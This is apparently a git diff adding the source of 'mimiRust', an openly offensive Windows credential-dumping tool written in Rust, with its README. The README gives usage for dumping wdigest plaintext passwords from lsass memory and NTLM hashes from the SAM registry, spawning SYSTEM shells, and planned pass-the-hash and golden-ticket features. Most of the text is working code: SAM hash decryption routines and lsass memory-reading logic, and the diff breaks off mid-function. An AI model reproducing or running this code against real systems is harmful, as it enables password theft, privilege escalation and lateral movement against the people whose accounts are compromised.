  • Extracting Windows passwords out of memory through the wdigest attack vector.
  • +
  • Extracting Windows NTLM hashes from user accounts (aes / des) & (md5 / rc4)
  • +

+

Todo:

+
    +
  • PSExec to create service on another endpoint.
  • +
  • PtH (Pass-The-Hash)
  • +
  • Kerberos Golden Ticket
  • +
+ +Maybe in the future I will make it polymorphic and obfuscate the strings (also polymorphic) and API calls. + + +

Quick usage:

+

MimiRust can be ran in two different ways: from the command line using mimiRust.exe --help or in the shell by running the executable without any command line arguments. For help with the program type one of the following into mimiRust:

+
    +
  • mimiRust # ?
  • +
  • mimiRust # h
  • +
  • mimiRust # help
  • +
+

You will now be required to type in the module that you want to access, current modules are:

+
    +
  • passwords
  • +
  • pivioting
  • +
  • privilege
  • +
+ +

Dumping credentials from memory through wdigest

+mimiRust::passwords # dump-credentials
+mimiRust.exe --dump-credentials +
+ +

Dumping NTLM hashes from user accounts

+mimiRust::passwords @ dump-hashes
+mimiRust.exe --dump-hashes +
+ +

Executing shell commands

+mimiRust::pivioting $ shell whoami +
+ +

Spawning a process with SYSTEM

+mimiRust::privilege # spawn-path cmd.exe
+mimiRust.exe -s cmd.exe + +

Demo

+click on the demo to get a higher resolution +mimiRust Demo + +

Disclaimer

+

I am not responsible for what you do with the information and code provided. This is intended for professional or educational purposes only.

+
+

Author

+

Why was MimiRust made

+

MimiRust was created as a project by a first years Cyber Security Bachelors student. The reason for this is because I was too bored learning about business processes in a Security Bachelors that I decided to just start for myself.

+
diff --git a/memN0ps/mimiRust/demo.gif b/memN0ps/mimiRust/demo.gif new file mode 100644 index 0000000..2c1b693 Binary files /dev/null and b/memN0ps/mimiRust/demo.gif differ diff --git a/memN0ps/mimiRust/src/lateral_movement/kerberos/mod.rs b/memN0ps/mimiRust/src/lateral_movement/kerberos/mod.rs new file mode 100644 index 0000000..3ce76b2 --- /dev/null +++ b/memN0ps/mimiRust/src/lateral_movement/kerberos/mod.rs @@ -0,0 +1,7 @@ +pub struct GoldenTicket; + +impl GoldenTicket { + pub fn create() { + println!("WIP"); + } +} \ No newline at end of file diff --git a/memN0ps/mimiRust/src/lateral_movement/mod.rs b/memN0ps/mimiRust/src/lateral_movement/mod.rs new file mode 100644 index 0000000..3c21350 --- /dev/null +++ b/memN0ps/mimiRust/src/lateral_movement/mod.rs @@ -0,0 +1,3 @@ +pub mod pth; +pub mod kerberos; +pub mod scm; \ No newline at end of file diff --git a/memN0ps/mimiRust/src/lateral_movement/pth/mod.rs b/memN0ps/mimiRust/src/lateral_movement/pth/mod.rs new file mode 100644 index 0000000..5a10d28 --- /dev/null +++ b/memN0ps/mimiRust/src/lateral_movement/pth/mod.rs @@ -0,0 +1,7 @@ +pub struct ExecuteWMI; + +impl ExecuteWMI { + pub fn new() { + println!("WIP"); + } +} \ No newline at end of file diff --git a/memN0ps/mimiRust/src/lateral_movement/scm/mod.rs b/memN0ps/mimiRust/src/lateral_movement/scm/mod.rs new file mode 100644 index 0000000..947db56 --- /dev/null +++ b/memN0ps/mimiRust/src/lateral_movement/scm/mod.rs @@ -0,0 +1,7 @@ +pub struct PSExec; + +impl PSExec { + pub fn new() { + println!("WIP"); + } +} \ No newline at end of file diff --git a/memN0ps/mimiRust/src/main.rs b/memN0ps/mimiRust/src/main.rs new file mode 100644 index 0000000..0986d5c --- /dev/null +++ b/memN0ps/mimiRust/src/main.rs @@ -0,0 +1,238 @@ +pub mod lateral_movement; +pub mod passwords; +pub mod privilege; +pub mod utilities; + +use lateral_movement::{ + kerberos::GoldenTicket, + pth::ExecuteWMI, + scm::PSExec, +}; + +use passwords::{ + ntlm::Ntlm, + wdigest::Wdigest, +}; + +use privilege::Escalation; +use utilities::Utils; + +use console::Term; +use clap::Parser; +use anyhow::Result; + +#[derive(Parser, Debug)] +#[clap(about, author)] +struct Args { + /// Spawn program with SYSTEM permissions from location + #[clap(short, long, default_value = "")] + spawn_path: String, + + /// Dumps systems credentials through Wdigest + #[clap(long)] + dump_credentials: bool, + + /// Dumps systems NTLM hashes + #[clap(long)] + dump_hashes: bool, + + /// Execute a shell command through the use of cmd + #[clap(long)] + shell: Vec, +} + + +fn main() -> Result<()> { + + let args = Args::parse(); + if args.spawn_path.len() == 0 && args.shell.len() == 0 && args.dump_credentials == false && args.dump_hashes == false { + println!("{}", banner()); + loop { + let input = Utils::get_user_input(None); + handle_user_input(input)?; + } + } + + if args.spawn_path.len() > 0 { + Escalation::get_system(args.spawn_path)?; + } + + if args.shell.len() > 0 { + Escalation::execute_shell(args.shell)?; + } + + if args.dump_credentials { + Wdigest::grab()?; + } + + if args.dump_hashes { + Ntlm::grab()?; + } + + + Ok(()) +} + +fn banner() -> String { + return " + ███▄ ▄███▓ ██▓ ███▄ ▄███▓ ██▓ ██▀███ █ ██ ██████ ▄▄▄█████▓ + ▓██▒▀█▀ ██▒▓██▒▓██▒▀█▀ ██▒▓██▒▓██ ▒ ██▒ ██ ▓██▒▒██ ▒ ▓ ██▒ ▓▒ + ▓██ ▓██░▒██▒▓██ ▓██░▒██▒▓██ ░▄█ ▒▓██ ▒██░░ ▓██▄ ▒ ▓██░ ▒░ + ▒██ ▒██ ░██░▒██ ▒██ ░██░▒██▀▀█▄ ▓▓█ ░██░ ▒ ██▒░ ▓██▓ ░ + ▒██▒ ░██▒░██░▒██▒ ░██▒░██░░██▓ ▒██▒▒▒█████▓ ▒██████▒▒ ▒██▒ ░ + ░ ▒░ ░ ░░▓ ░ ▒░ ░ ░░▓ ░ ▒▓ ░▒▓░░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░ ▒ ░░ + ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░▒ ░ ▒░░░▒░ ░ ░ ░ ░▒ ░ ░ ░ + ░ ░ ▒ ░░ ░ ▒ ░ ░░ ░ ░░░ ░ ░ ░ ░ ░ ░ + ░ ░ ░ ░ ░ ░ ░ + + written in Rust by ThottySploity + mimiRust $ means it's running without elevated privileges + mimiRust # means it's running with elevated privileges + mimiRust @ means it's running with system privileges + + ".to_string(); +} + +//Perhaps make the menu in the way of :: use + +fn handle_user_input(args: Vec) -> Result<()> { + match args[0].to_lowercase().as_str() { + "passwords" => { + loop { + let input = Utils::get_user_input(Some("passwords".to_string())); + match input[0].to_lowercase().as_str() { + "dump-credentials" => { + Wdigest::grab()?; + }, + "dump-hashes" => { + Ntlm::grab()?; + }, + "clear" => { + let term = Term::stdout(); + term.clear_screen()?; + banner(); + }, + "exit" => { + main()?; + }, + _ => { + println!(" + \rdump-credentials Dumps systems credentials through Wdigest. + \rdump-hashes Dumps systems NTLM hashes (requires SYSTEM permissions). + \rclear Clears the screen of any past output. + \rexit Moves to top level menu + "); + }, + }; + } + }, + "pivioting" => { + loop { + let input = Utils::get_user_input(Some("pivioting".to_string())); + match input[0].to_lowercase().as_str() { + "shell" => { + if input.clone().len() >= 1 { + Escalation::execute_shell(input.clone())?; + } else { + println!("[*] Please use it as: shell "); + } + }, + "clear" => { + let term = Term::stdout(); + term.clear_screen()?; + banner(); + }, + "exit" => { + main()?; + }, + "psexec" => { + PSExec::new(); + }, + "pth" => { + ExecuteWMI::new(); + }, + "golden-ticket" => { + GoldenTicket::create(); + }, + _ => { + println!(" + \rshell Execute a shell command through cmd, returns output. + \rclear Clears the screen of any past output. + \rexit Moves to top level menu + \r(W.I.P)psexec Executes a service on another system. + \r(W.I.P)pth Pass-the-Hash to run a command on another system. + \r(W.I.P)golden-ticket Creates a golden ticket for a user account with the domain. + ") + }, + }; + } + }, + "privilege" => { + loop { + let input = Utils::get_user_input(Some("privilege".to_string())); + match input[0].to_lowercase().as_str() { + "spawn-path" => { + if input.len() >= 1 { + Escalation::get_system(input[1].clone())?; + } else { + println!("[*] Please use it as: spawn-path "); + } + }, + "clear" => { + let term = Term::stdout(); + term.clear_screen()?; + banner(); + }, + "exit" => { + main()?; + }, + _ => { + println!(" + \rspawn-path Spawn program with SYSTEM permissions from location. + \rclear Clears the screen of any past output. + \rexit Moves to top level menu + ") + }, + }; + } + }, + "clear" => { + let term = Term::stdout(); + term.clear_screen()?; + banner(); + }, + "exit" => { + println!("Bye!"); + std::process::exit(0x100); + }, + "help" | "h" | "?" => { + println!(" + \r + \rChoose one of the following options: + \r + \r passwords: + \r • dump-credentials Dumps systems credentials through Wdigest. + \r • dump-hashes Dumps systems NTLM hashes (requires SYSTEM permissions). + \r • clear Clears the screen of any past output. + \r • exit Moves to top level menu + \r + \r pivioting: + \r • shell Execute a shell command through cmd, returns output. + \r • clear Clears the screen of any past output. + \r • exit Moves to top level menu + \r • (W.I.P)psexec Executes a service on another system. + \r • (W.I.P)pth Pass-the-Hash to run a command on another system. + \r • (W.I.P)golden-ticket Creates a golden ticket for a user account with the domain. + \r + \r privilege: + \r • spawn-path Spawn program with SYSTEM permissions from location. + \r • clear Clears the screen of any past output. + \r • exit Moves to top level menu + \n\n"); + }, + _ => { + println!("Please use: help, h or ?"); + }, + }; + Ok(()) +} \ No newline at end of file diff --git a/memN0ps/mimiRust/src/passwords/mod.rs b/memN0ps/mimiRust/src/passwords/mod.rs new file mode 100644 index 0000000..040b938 --- /dev/null +++ b/memN0ps/mimiRust/src/passwords/mod.rs @@ -0,0 +1,2 @@ +pub mod ntlm; +pub mod wdigest; \ No newline at end of file diff --git a/memN0ps/mimiRust/src/passwords/ntlm/mod.rs b/memN0ps/mimiRust/src/passwords/ntlm/mod.rs new file mode 100644 index 0000000..8221e9e --- /dev/null +++ b/memN0ps/mimiRust/src/passwords/ntlm/mod.rs @@ -0,0 +1,472 @@ +extern crate des; + +use crate::utilities::Utils; + +use des::decrypt; + +use winreg::enums::*; +use winreg::RegKey; + +use winapi::um::winreg::{ + RegQueryInfoKeyA, + RegOpenKeyExA +}; + +use winapi::shared::minwindef::{ + HKEY, + MAX_PATH +}; + +use regex::Regex; + +use anyhow::{ + anyhow, + Result +}; + +use std::fmt::Write; +use std::io::Error; +use std::ffi::CString; + +use aes::Aes128; + +use md5::{ + Md5, + Digest +}; + +use block_modes::{ + BlockMode, + Cbc +}; + +use block_modes::block_padding::NoPadding; + +type Aes128Cbc = Cbc; + +pub struct Ntlm { + username: String, + rid: usize, + hash: String +} + +impl Ntlm { + pub fn grab() -> Result<()> { + if !Utils::is_elevated() { + println!("[-] Program requires atleast system permissions"); + } else { + if Utils::is_system() { + if let Ok(ntlms) = get_ntlm_hash() { + for ntlm in ntlms { + println!("{}::{}::{}", ntlm.username, ntlm.rid, ntlm.hash); + } + } + } + } + Ok(()) + } +} + +fn get_bootkey(input: String) -> Result> { + let mut bootkey = vec![]; + + let class: Vec = input.chars().collect(); + let modulo_numbers = vec![8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7]; + for number in modulo_numbers { + let number_first = class[number * 2]; + let number_second = class[number * 2 + 1]; + + bootkey.push(u8::from_str_radix(format!("{}{}", number_first, number_second).as_str(), 16)?); + } + Ok(bootkey) +} + +fn get_deskey_key(input: String, modulos: Vec) -> Result> { + let mut deskey = vec![]; + + let class: Vec = input.chars().collect(); + for number in modulos { + let number_first = class[number * 2]; + let number_second = class[number * 2 + 1]; + + deskey.push(u8::from_str_radix(format!("{}{}", number_first, number_second).as_str(), 16)?); + } + Ok(deskey) +} + +fn get_i32_from_vector(buf: &[u8]) -> i32 { + + let mut buffer = [0u8; 4]; + let mut counter = 0; + + for i in buf.iter() { + buffer[counter] = *i; + counter += 1; + } + + + return unsafe{ std::mem::transmute::<[u8; 4], i32>(buffer) }; +} + +fn vector_str_to_vector_u8(input: Vec) -> Vec { + let mut output = vec![]; + + for i in input { + match i.parse::() { + Ok(byte) => output.push(byte), + Err(_) => continue, + }; + } + + output +} + +fn convert_string(input: &[u8]) -> String { + let mut s = String::with_capacity(2 * input.len()); + for byte in input { + write!(s, "{:02X}", byte).unwrap(); + } + s +} + +fn get_users() -> Result> { + let mut users_vector: Vec = vec![]; + for i in RegKey::predef(HKEY_LOCAL_MACHINE).open_subkey("SAM\\SAM\\Domains\\Account\\Users")?.enum_keys().map(|x| x.unwrap()) { + let re = Regex::new(r"^[0-9A-F]{8}$")?; + if re.is_match(&i) { + users_vector.push(i); + } + } + Ok(users_vector) +} + +fn collect_f_bytes() -> Result> { + let system = RegKey::predef(HKEY_LOCAL_MACHINE).open_subkey("SAM\\SAM\\Domains\\Account")?; + for (name, value) in system.enum_values().map(|x| x.unwrap()) { + if name == "F" { + return Ok(extract_binary_data(value.to_string())); + } + } + return Err(anyhow!("Failed to collect f bytes")); +} + +fn collect_v_bytes(user: String) -> Result> { + let location = format!("SAM\\SAM\\Domains\\Account\\Users\\{}", user); + let system = RegKey::predef(HKEY_LOCAL_MACHINE).open_subkey(location)?; + for (name, value) in system.enum_values().map(|x| x.unwrap()) { + if name == "V" { + return Ok(extract_binary_data(value.to_string())); + } + } + return Err(anyhow!("Failed to collect v bytes")); +} + +fn extract_binary_data(input: String) -> Vec { + + let first_replace = format!("{:?}", input).replace("F = RegValue(REG_BINARY: [", ""); + let second_replace = format!("{:?}", first_replace).replace("])", "").replace("RegValue(REG_BINARY: [", "").replace(" ", "").replace('"', "").replace("\\[", "").replace("]\\", ""); + let bytes: Vec = second_replace.split(",").map(String::from).collect(); + + return vector_str_to_vector_u8(bytes); +} + +fn collect_classnames() -> String { + let keys = vec!["JD", "Skew1", "GBG", "Data"]; + let mut result = String::new(); + + for key in keys { + let hkey = open_regkey(key.to_string()); + result.push_str(read_classname(hkey).as_str()); + } + + return result; +} + +fn open_regkey(key: String) -> HKEY { + unsafe { + let mut hkey: HKEY = std::mem::zeroed(); + let location = format!("SYSTEM\\CurrentControlSet\\Control\\Lsa\\{}", key); + let cstring = CString::new(location).unwrap(); + + if RegOpenKeyExA( + 0x80000002 as HKEY, + cstring.as_ptr(), + 0x0, + 0x19, + &mut hkey, + ) != 0 { + println!("{}", Error::last_os_error()); + } + + hkey + } +} + +fn get_bytes_with_null(input: &str) -> Vec { + let mut result = input.as_bytes().to_vec(); + result.push(0); + result +} + +fn get_enc_key(input_one: Vec, input_two: Vec, input_three: Vec, input_four: Option>) -> Vec { + let mut total = Vec::new(); + + for i in input_one { + total.push(i); + } + + for i in input_two { + total.push(i); + } + + for i in input_three { + total.push(i); + } + + if let Some(input_four) = input_four { + for i in input_four { + total.push(i); + } + } + + total +} + +fn read_classname(handle: HKEY) -> String { + unsafe { + let mut class: [i8; MAX_PATH] = std::mem::zeroed(); + let mut class_size = MAX_PATH as *mut u32; + + if RegQueryInfoKeyA( + handle, + class.as_mut_ptr(), + &mut class_size as *mut _ as *mut u32, + 0 as *mut u32, + 0 as *mut u32, + 0 as *mut u32, + 0 as *mut u32, + 0 as *mut u32, + 0 as *mut u32, + 0 as *mut u32, + 0 as *mut u32, + std::mem::zeroed(), + ) != 0 { + println!("Error getting classname: {}", Error::last_os_error()); + } + let u8slice : &[u8] = std::slice::from_raw_parts(class.as_ptr() as *const u8, class.len()); + return std::string::String::from_utf8_lossy(&u8slice).replace("\u{0}", ""); + } +} + +fn to_rid(input: String) -> usize { + if let Ok(result) = usize::from_str_radix(&input, 16) { + return result; + } + return 0; +} + +fn transform_to_struct(username: String, rid: usize, hash: String) -> Ntlm { + Ntlm { + username: username, + rid: rid, + hash: hash, + } +} + +fn unicode_to_string(input: &[u8]) -> String { + match std::str::from_utf8(&input) { + Ok(string) => return string.replace("\u{0}", "").to_string(), + Err(_) => return format!("Failed to decode string"), + }; +} + +fn aes_128_cbc_decrypt(key: &[u8], iv: &[u8], input: Vec) -> Result> { + let cipher = Aes128Cbc::new_from_slices(&key, &iv)?; + let mut buf = input; + return Ok(cipher.decrypt(&mut buf)?.to_vec()); +} + +fn convert_to_u128(input: Vec) -> Vec { + let mut new: Vec = Vec::new(); + for i in input { + new.push(i as u128); + } + new +} + +fn convert_to_u8(input: Vec) -> Vec { + let mut new: Vec = Vec::new(); + for i in input { + new.push(i as u8); + } + new +} + +fn rc4(data: Vec, key: Vec) -> Vec { + let mut r: Vec = data; + let mut s: [u128; 256] = [0u128; 256]; + let mut k: [u128; 256] = [0u128; 256]; + + for i in 0..256 { + s[i] = i as u128; + k[i] = key[i % key.len()]; + } + + let mut j: u128 = 0; + for i in 0..256 { + j = (j + s[i] + k[i]) % 256; + let temp = s[i]; + s[i] = s[j as usize]; + s[j as usize] = temp; + } + + let mut i = 0; + let mut j = 0; + for x in 0..r.len() { + i = (i + 1) % 256; + j = (j + s[i as usize]) % 256; + + let temp = s[i as usize]; + s[i as usize] = s[j as usize]; + s[j as usize] = temp; + + let t = ((s[i as usize] + s[j as usize]) % 256) as usize; + r[x] = r[x] ^ s[t]; + } + r +} + +fn str_to_key(input: Vec) -> [u8; 8] { + let mut encoded_key = vec![]; + let mut key = [0u8; 8]; + + let odd_parity = vec![ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254]; + + encoded_key.push(bitshift(input[0].into(), -1) as u8); + encoded_key.push(bitshift((input[0] & 1).into(), 6) as u8 | bitshift(input[1].into(), -2) as u8); + encoded_key.push(bitshift((input[1] & 3).into(), 5) as u8 | bitshift(input[2].into(), -3) as u8); + encoded_key.push(bitshift((input[2] & 7).into(), 4) as u8 | bitshift(input[3].into(), -4) as u8); + encoded_key.push(bitshift((input[3] & 15).into(), 3) as u8 | bitshift(input[4].into(), -5) as u8); + encoded_key.push(bitshift((input[4] & 31).into(), 2) as u8 | bitshift(input[5].into(), -6) as u8); + encoded_key.push(bitshift((input[5] & 63).into(), 1) as u8 | bitshift(input[6].into(), -7) as u8); + encoded_key.push(input[6] & 127); + key[0] = odd_parity[(bitshift(encoded_key[0].into(), 1)) as usize]; + key[1] = odd_parity[(bitshift(encoded_key[1].into(), 1)) as usize]; + key[2] = odd_parity[(bitshift(encoded_key[2].into(), 1)) as usize]; + key[3] = odd_parity[(bitshift(encoded_key[3].into(), 1)) as usize]; + key[4] = odd_parity[(bitshift(encoded_key[4].into(), 1)) as usize]; + key[5] = odd_parity[(bitshift(encoded_key[5].into(), 1)) as usize]; + key[6] = odd_parity[(bitshift(encoded_key[6].into(), 1)) as usize]; + key[7] = odd_parity[(bitshift(encoded_key[7].into(), 1)) as usize]; + key +} + +fn bitshift(input: f64, power: i32) -> f64 { + return (input * 2_f64.powi(power)).floor(); +} + +fn get_ntlm_hash() -> Result> { + + let mut hashes: Vec = vec![]; + + if let Ok(users) = get_users() { + for user in users { + if let Ok(v) = collect_v_bytes(user.clone()) { + if let Ok(f) = collect_f_bytes() { + let class = collect_classnames(); + + let offset = get_i32_from_vector(&v[12..16]) + 204; + let len = get_i32_from_vector(&v[16..20]); + + let username = unicode_to_string(&v[offset as usize..(offset + len) as usize]); + + let offset = get_i32_from_vector(&v[168..172]) + 204; + let bootkey = get_bootkey(class)?; + + let enc_ntlm = match v[172] { + 56 => { + let encrypted_syskey = &f[136..152]; + let encrypted_syskey_iv = &f[120..136]; + let encrypted_syskey_key = bootkey; + + let syskey = aes_128_cbc_decrypt(&encrypted_syskey_key, &encrypted_syskey_iv, encrypted_syskey.to_vec()); + + let enc_ntlm = &v[offset as usize + 24..offset as usize + 24 + 16]; + let enc_ntlm_iv = &v[offset as usize + 8..offset as usize + 24]; + let enc_ntlm_key = syskey?; + + let enc_ntlm = aes_128_cbc_decrypt(&enc_ntlm_key, &enc_ntlm_iv, enc_ntlm.to_vec()); + enc_ntlm + }, + 20 => { + let encrypted_syskey = &f[128..144]; + let mut hasher = Md5::new(); + hasher.update(get_enc_key( + f[112..128].to_vec(), + get_bytes_with_null("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"), + bootkey.to_vec(), + Some(get_bytes_with_null("0123456789012345678901234567890123456789")) + )); + let enc_syskey_key = hasher.finalize(); + + let syskey = rc4(convert_to_u128(encrypted_syskey.to_vec()), convert_to_u128(enc_syskey_key.to_vec())); + + let enc_ntlm = &v[offset as usize+4..offset as usize+4+16]; + let mut hasher = Md5::new(); + hasher.update(get_enc_key( + convert_to_u8(syskey), + get_deskey_key(user.clone(), vec![3,2,1,0])?, + get_bytes_with_null("NTPASSWORD"), + None, + )); + + let enc_ntlm_key = hasher.finalize(); + let enc_ntlm = rc4(convert_to_u128(enc_ntlm.to_vec()), convert_to_u128(enc_ntlm_key.to_vec())); + Ok(convert_to_u8(enc_ntlm)) + }, + _ => { + Ok(vec![]) + }, + }; + + if let Ok(enc_ntlm) = enc_ntlm { + if !enc_ntlm.is_empty() { + + let des_str_one = get_deskey_key(user.clone(), vec![3,2,1,0,3,2,1])?; + let des_str_two = get_deskey_key(user.clone(), vec![0,3,2,1,0,3,2])?; + + let des_key_one = str_to_key(des_str_one); + let des_key_two = str_to_key(des_str_two); + + let ntlm1 = decrypt(&enc_ntlm, &des_key_one); + let ntlm2 = decrypt(&enc_ntlm, &des_key_two); + + hashes.push(transform_to_struct(username.to_string(), to_rid(user.clone()), format!("{}{}",convert_string(&ntlm1[..8]), convert_string(&ntlm2[8..])))); + } else { + hashes.push(transform_to_struct(username.to_string(), to_rid(user.clone()), "31D6CFE0D16AE931B73C59D7E0C089C0".to_string())); + } + } + } + } + } + } + + + Ok(hashes) +} \ No newline at end of file diff --git a/memN0ps/mimiRust/src/passwords/wdigest/mod.rs b/memN0ps/mimiRust/src/passwords/wdigest/mod.rs new file mode 100644 index 0000000..4a88080 --- /dev/null +++ b/memN0ps/mimiRust/src/passwords/wdigest/mod.rs @@ -0,0 +1,916 @@ +use crate::utilities::Utils; + +use winapi::um::processthreadsapi::OpenProcess; + +use winapi::shared::minwindef::{ + DWORD, + FALSE, + LPVOID, + HMODULE, + USHORT, + PUCHAR, + PBYTE +}; + +use winapi::shared::ntdef::{ + NULL, + ULONG +}; + +use winapi::um::winnt::{ + HANDLE, + PVOID, + PROCESS_VM_READ, + PROCESS_QUERY_INFORMATION, + LUID +}; + +use winapi::um::memoryapi::ReadProcessMemory; + +use winapi::um::psapi::{ + EnumProcessModulesEx, + GetModuleFileNameExA +}; + +use winapi::um::libloaderapi::LoadLibraryW; + +use sysinfo::{ + ProcessExt, + System, + SystemExt +}; + +use std::convert::TryInto; +use byteorder::ByteOrder; +use std::ptr::null_mut; + +use anyhow::{ + anyhow, + Result +}; + +use winapi::shared::bcrypt::{ + MS_PRIMITIVE_PROVIDER, + BCryptOpenAlgorithmProvider, + BCryptSetProperty, + BCryptGenerateSymmetricKey, + BCryptDecrypt, + BCRYPT_ALG_HANDLE, + BCRYPT_KEY_HANDLE, + BCRYPT_AES_ALGORITHM, + BCRYPT_3DES_ALGORITHM +}; + +use winapi::shared::bcrypt::{ + BCRYPT_CHAIN_MODE_CFB, + BCRYPT_CHAIN_MODE_CBC, + BCRYPT_CHAINING_MODE +}; + +use winreg::{ + enums::*, + RegKey +}; + +use std::io::Error; +use std::process; +use std::ffi::OsStr; +use std::os::windows::ffi::OsStrExt; +use std::u32; + +const LOG_SESS_LIST_SIGNATURE: [u8; 4] = [72, 59, 217, 116]; + +const WIN10_LSAINITIALIZE_PROTECT_MEMORY_KEY: [u8; 16] = [131, 100, 36, 48, 0, 72, 141, 69, 224, 68, 139, 77, 216, 72, 141, 21]; +const WIN8_LSAINITIALIZE_PROTECT_MEMORY_KEY: [u8; 12] = [131, 100, 36, 48, 0, 68, 139, 77, 216, 72, 139, 13]; +const WIN7_LSAINITIALIZE_PROTECT_MEMORY_KEY: [u8; 13] = [131, 100, 36, 48, 0, 68, 139, 76, 36, 72, 72, 139, 13]; + +static mut WIN_G_INITIALIZATION_VECTOR: [u8; 16] = [0; 16]; +static mut WIN_G_DES_KEY: [u8; 24] = [0; 24]; +static mut WIN_G_AESKEY: [u8; 16] = [0; 16]; + +static USERNAME_OFFSET: u8 = 48; +static HOSTNAME_OFFSET: u8 = 64; +static PASSWORD_OFFSET: u8 = 80; + +#[repr(C)] +#[derive(Copy, Clone)] +struct RustWDigest { + flink: *mut RustWDigest, + blink: *mut RustWDigest, + usagecount: ULONG, + this: *mut RustWDigest, + locally_unique_identifier: LUID, + + username: Unicode, + domain: Unicode, + password: Unicode +} + +#[repr(C)] +#[derive(Copy, Clone)] +struct Unicode { + length: USHORT, + maximum_length: USHORT, + buffer: [u8; 32] +} + +#[repr(C)] +#[derive(Copy, Clone, Debug)] +struct RustHardKey { + cbsecret: ULONG, + data: [u8; 32] +} + +#[repr(C)] +#[derive(Copy, Clone, Debug)] +struct RustBcryptKey81 { + size: ULONG, + tag: ULONG, + r#type: ULONG, + unk0: ULONG, + unk1: ULONG, + unk2: ULONG, + unk3: ULONG, + unk4: ULONG, + unk5: PVOID, + unk6: ULONG, + unk7: ULONG, + unk8: ULONG, + unk9: ULONG, + hardkey: RustHardKey +} + +#[repr(C)] +#[derive(Copy, Clone, Debug)] +struct RustBcryptHandleKey { + size: ULONG, + tag: ULONG, + h_algorithm: PVOID, + key: RustBcryptKey81, + unk0: PVOID +} + +#[repr(C)] +#[derive(Copy, Clone, Debug)] +struct RustBcryptKey { + size: ULONG, + tag: ULONG, + r#type: ULONG, + unk0: ULONG, + unk1: ULONG, + bits: ULONG, + hardkey: RustHardKey +} + +pub struct Wdigest; + +impl Wdigest { + pub fn grab() -> Result<()> { + if !Utils::is_elevated() { + println!("[-] Program requires atleast administrative permissions"); + return Ok(()); + } + let (debug_boolean, debug_result) = Utils::enable_debug_privilege(); + if debug_boolean { + println!("{}", debug_result); + + let lsass_pid = get_process_pid("lsass"); + if let Ok(handle) = get_process_handle(lsass_pid) { + println!("[+] Opened handle to lsass.exe"); + let (enum_lsass_boolean, _enum_lsass_result) = enumerate_lsass_dlls(handle); + if enum_lsass_boolean { + + if let Ok(os_version) = get_os_version() { + println!("[+] OS version found: {}", os_version); + } + match get_os_flag() { + 1 => { + if let Ok(_) = find_keys_on_win7(handle) { + if let Ok(_) = find_credentials(handle) { + } + } + }, + 2 => { + if let Ok(_) = find_keys_on_win8(handle) { + if let Ok(_) = find_credentials(handle) { + } + } + }, + 3 => { + if let Ok(_) = find_keys_on_win10(handle) { + if let Ok(_) = find_credentials(handle) { + } + } + }, + _ => { + println!("[x] Could not determine OS version"); + } + } + } + } else { + if let Err(e) = get_process_handle(lsass_pid) { + println!("{}", e); + } + } + + } else { + println!("{}", debug_result); + } + + Ok(()) + } +} + +fn get_process_handle(process_id: DWORD) -> Result { + unsafe { + let process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, process_id); + if process == NULL { + Err(Error::last_os_error()) + } else { + Ok(process) + } + } +} + +fn enumerate_lsass_dlls(handle: HANDLE) -> (bool, String) { + let mut lsass_process_information: Vec<&str> = Vec::new(); + let mut wdigest_dll_information: Vec<&str> = Vec::new(); + let mut lsasrv_dll_information: Vec<&str> = Vec::new(); + + let lsass_dlls = get_process_dlls(handle); + if !lsass_dlls.contains("lsass.exe") { + return (false, format!("[-] could not find lsass.exe in lsass process")); + } else if !lsass_dlls.contains("wdigest.DLL") { + return (false, format!("[-] could not find wdigest.DLL in lsass process")); + } else if !lsass_dlls.contains("lsasrv.dll") { + return (false, format!("[-] could not find lsasrv.dll in lsass process")); + } + + let dll_names_address: Vec<&str> = lsass_dlls.split("\n").collect(); + + for dll_memory in dll_names_address { + if dll_memory.contains("lsass.exe") { + let lsass_process: Vec<&str> = dll_memory.split(":::").collect(); + lsass_process_information.push(lsass_process[0]); + lsass_process_information.push(lsass_process[1]); + } else if dll_memory.contains("wdigest.DLL") { + let wdigest_dll: Vec<&str> = dll_memory.split(":::").collect(); + wdigest_dll_information.push(wdigest_dll[0]); + wdigest_dll_information.push(wdigest_dll[1]); + } else if dll_memory.contains("lsasrv.dll") { + let lsasrv_dll: Vec<&str> = dll_memory.split(":::").collect(); + lsasrv_dll_information.push(lsasrv_dll[0]); + lsasrv_dll_information.push(lsasrv_dll[1]); + } + } + + return (true, format!("\n[*] lsass.exe found at: {}\n\r[*] wdigest.dll found at: {}\n\r[*] lsasrv.dll found at: {}\n\r", lsass_process_information[1], wdigest_dll_information[1], lsasrv_dll_information[1])); +} + +fn get_process_pid(process_name: &str) -> u32 { + let sys = System::new_all(); + + for (pid, process) in sys.get_processes() { + let process = format!("{}::{}", pid, process.name()); + if process.contains(process_name) { + return *pid as u32; + } + } + return 0; +} + +fn to_u32(input: &str) -> u32 { + let _output = match input.parse::() { + Ok(_output) => return _output, + Err(_) => return 0, + }; +} + +fn get_os_version() -> Result { + let hklm = RegKey::predef(HKEY_LOCAL_MACHINE); + let cur_ver = hklm.open_subkey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?; + let productname: String = cur_ver.get_value("ProductName")?; + + 